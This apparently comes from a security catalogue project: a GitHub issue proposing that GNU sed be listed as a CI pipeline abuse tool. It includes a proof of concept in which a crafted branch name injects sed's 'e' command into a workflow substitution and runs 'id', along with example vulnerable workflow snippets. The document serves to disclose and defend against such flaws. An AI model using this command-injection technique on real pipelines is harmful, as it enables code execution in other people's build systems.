Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[LOTP] Add sed #18

Open
fproulx-boostsecurity opened this issue Feb 23, 2024 · 0 comments
Open

[LOTP] Add sed #18

fproulx-boostsecurity opened this issue Feb 23, 2024 · 0 comments
Labels

Comments

@fproulx-boostsecurity
Copy link
Contributor

fproulx-boostsecurity commented Feb 23, 2024

Description of the LOTP tool

sed is line-oriented text processing utility that processes input streams or files and has many capabilities to modify text files efficiently.

GNU sed has an e command to execute non interactive commands (see https://gtfobins.github.io/gtfobins/sed/#command)

POC

$  git switch -c 'a/g;1eid;' && export GITHUB_HEAD_REF="$(git branch --show-current)" && gsed -i "s/git_branch=.*/git_branch=$GITHUB_HEAD_REF/g" config.ini
Switched to a new branch 'a/g;1eid;'
sh: /g: No such file or directory
$ git diff
diff --git a/config.ini b/config.ini
index c4ff908..3309a10 100644
--- a/config.ini
+++ b/config.ini
@@ -1 +1,2 @@
-git_branch=bla
+uid=501(john) gid=20(staff) ...
+git_branch=a

Configuration

-f command_file
             Append the editing commands found in the file command_file to the list of commands.  The editing commands should each be listed
             on a separate line.  The commands are read from the standard input if command_file is “-”.

Documentation

https://www.gnu.org/software/sed/manual/sed.html#sed-commands-list

e
Executes the command that is found in pattern space and replaces the pattern space with the output; a trailing newline is suppressed.

e command
Executes command and sends its output to the output stream. The command can run across multiple lines, all but the last ending with a back-slash.

Real-world example

Seen in the wild:

      - name: Override git_branch for PR
        run: |
          # Replace "git_branch" with "git_branch: $GITHUB_HEAD_REF" in config.json
          sed -i "s|git_branch = .*|git_branch = \"$GITHUB_HEAD_REF\"|" config.json
      - name: Prepare configuration
        run: |
          mkdir ./conf
          sed -f ./docker/local/local-config.sed ./product/config/product_config_tmpl.py > ./conf/product.conf
    - name: Update DB
      run: |
        sed -f script/normalize-formatting db/schema.sql > db/schema.expected
...
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests

1 participant